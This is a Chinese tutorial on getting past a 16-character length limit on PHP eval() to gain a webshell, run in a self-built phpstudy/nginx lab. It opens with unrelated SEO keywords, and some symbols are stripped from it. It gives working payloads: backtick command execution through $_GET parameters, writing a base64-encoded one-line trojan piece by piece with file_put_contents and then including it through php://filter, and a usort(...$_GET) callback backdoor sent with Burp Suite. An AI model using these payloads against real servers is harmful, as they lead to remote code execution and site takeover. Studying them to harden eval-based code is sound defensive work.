中小开网站,wordpress开发周期,即墨网站建设在哪,专做排版网站要求#xff1a;
PHP Eval函数参数限制在16个字符的情况下 #xff0c;如何拿到Webshell#xff1f;
widows小皮环境搭建#xff1a;
使用phpstudy搭建一个网站。 随后在该eval文件夹下创建一个webshell.php文件#xff0c;并在其输入代码环境 解题思路#xff1a;
通…要求
PHP Eval函数参数限制在16个字符的情况下 如何拿到Webshell
widows小皮环境搭建
使用phpstudy搭建一个网站。 随后在该eval文件夹下创建一个webshell.php文件并在其输入代码环境 解题思路
通过webshell.php的代码中我们可以看到我们传递的一个param的参数长度小于17位即长度最多十六位而且里面不能包含eval和assert最后eval执行。这就是这段代码的含义。
这个题的难度在于其的长度限制。
我们输入?paramphpinfo();查看页面为php正常。 但我们也就只有输入一个phpinfo();了但是这只是在Windows下不行了在Linux下继续接着尝试。
Linux环境搭建
进入nginx下的html文件夹中创建一个web.php文件下输入代码。
cd /usr/local/nginx/html
vim web.php :wq保存退出在/usr/local/nginx/sbin下./nginx启动nginx。
浏览器进入该web.php。 再次解题
输入?paramphpinfo();测试环境搭建成功。 但是跟解题无关依然只是个php界面啥用没有我们输入?param·$_GET[1]·1id,
id通过反引号执行因为在Linux下反引号是可以执行命令的。 $_GET[1]1id,这个代码的意思就是将$_GET[1]中的1的参数放在Linux下执行实际上执行的就是$_GET[id]而这17位主要是$_GET[1]这个不能突破17位而后面的1id随便写多少位都行。 发现没有任何执行显示这是因为我们执行了但没有输出只需在前面加上个echo和;即可,?paramecho $_GET[1];1id 这就完成了我们的代码执行转换为了命令执行再转为whoami查看我们的用户是谁。?paramecho $_GET[1];1whoami 若是想要执行其他命令例如rm之类的不能执行到因为权限不够。
比如我们在tmp下创建一个文件?paramecho $_GET[1];1touch /tmp/ceshi123.txt 在Linux中查看创建成功用户及权限都是www-data. 以上就是一个突破长度限制的一个内容算是最简单的一种技巧接触过第一次后就很容易的想到这种办法了当有长度限制的要求时Windows下的环境一般不会有因为大部分99%的公司企业环境都用的Linux而当一看到长度限制只有几位操作空间的时候就可以想到Linux了。
其他技巧
当然还有另一种稍微难点的技巧。
web.php?1file_put_contentsparam$_GET[1](N,P,8);
web.php?1file_put_contentsparam$_GET[1](N,D,8);
继续追加
web.php?1file_put_contentsparam$_GET[1](N,w,8);
web.php?paraminclude$_GET[1];1php://filter/readconvert.b ase64-decode/resourceN
这里向param传入的$_GET[1]这个GET[1]接受的参数是file_put_contents实际GET[1]中写的就是file_put_contents这个file_put_contents里传了三个参数N、P、8N是我们要写的文件名也就是我们要写进这个文件里去P是我们一句话木马的一个base64编码8代表着追加。我们输入web.php?1file_put_contentsparam$_GET[1](N,P,8);后在Linux中的查看会发现多了一个N的文件N文件中内容为P再执行一个web.php?1file_put_contentsparam$_GET[1](N,D,8);这其实就是将base64编码一个一个往N里面追加。但是在官方文档中这个8是FILE_APPEND这样就超出长度限制了根本用不了8是因为php底层C语言代码中file_put_content函数中的追加是8所以这里写的8而不是php官方文档中写的FILE_APPEND。这里就是写8的原因而不是写的其他。这里追加的是base64编码而不是其他编码是因为有些特殊字符在file_append中追加不了比如^等追加不了。读取是通过php的尾协议用base64-decode解码成一个正常的语句文件包含进去的N里面是可以识别的一句话木马。前提就是得一个一个追加完成后进行一个解码执行。
还有一个web.php?1[]test1[]phpinfo();2assert。加上一个usort(...$_GET);即PHP5.6变长参数 ⇒ usort回调后门 ⇒ 任意代码执行前提是要进行一个抓包这里使用的是burpsuite抓包。 抓包结果如下。 对开头得GET修改为POST末尾追加paramusort(...$_GET);加;是因为要传入eval中得这里usort(...$_GET);一共16位没有超过17位。 这里php5.6可以接收...GET变长参数usort的回调后门去执行。
然后在action中send to repeater后在repeater中send就可以在旁边看到了。 以上三个方法就是EVAL长度限制突破技巧的一小部分技巧了。